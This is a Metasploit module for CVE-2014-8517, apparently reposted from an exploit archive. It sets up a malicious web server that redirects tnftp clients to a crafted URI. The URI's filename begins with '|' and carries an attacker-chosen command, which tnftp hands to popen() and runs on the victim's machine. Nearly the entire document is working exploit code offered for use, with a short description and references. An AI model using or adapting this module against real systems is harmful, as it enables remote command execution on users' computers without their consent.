tnftp "savefile" Arbitrary Command Execution Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.
If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.
If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Actions' => [
['Service']
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service'
))
register_options([
OptString.new('CMD', [true, 'Command to run', 'uname -a'])
])
end
def run
exploit
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end
if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{datastore['CMD']}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end
def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end
def sploit
"|#{datastore['CMD']}"
end
end

#  0day.today [2018-01-02]  #